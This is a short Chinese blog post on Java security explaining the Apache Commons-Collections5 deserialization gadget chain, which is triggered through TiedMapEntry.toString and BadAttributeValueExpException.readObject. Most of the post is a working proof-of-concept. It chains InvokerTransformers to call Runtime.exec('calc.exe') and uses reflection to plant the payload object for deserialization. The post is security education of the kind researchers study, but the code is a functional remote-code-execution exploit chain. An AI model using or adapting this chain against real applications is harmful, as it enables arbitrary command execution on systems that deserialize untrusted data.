Commons-Collections5反序列化

Oceanzbz

2024-12-30

Java安全

cc5的调用链和cc1 lazyMap调用链很相似，只不过cc5调用链最后触发get方法那里变成了TiedMapEntry的toString方法，然后利用BadAttributeValueExpException的readObject触发。

看一下poc

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map outerMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "11");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

        Class<?> aClass = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = aClass.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        //serialize(badAttributeValueExpException);
        unserialize("ser.bin");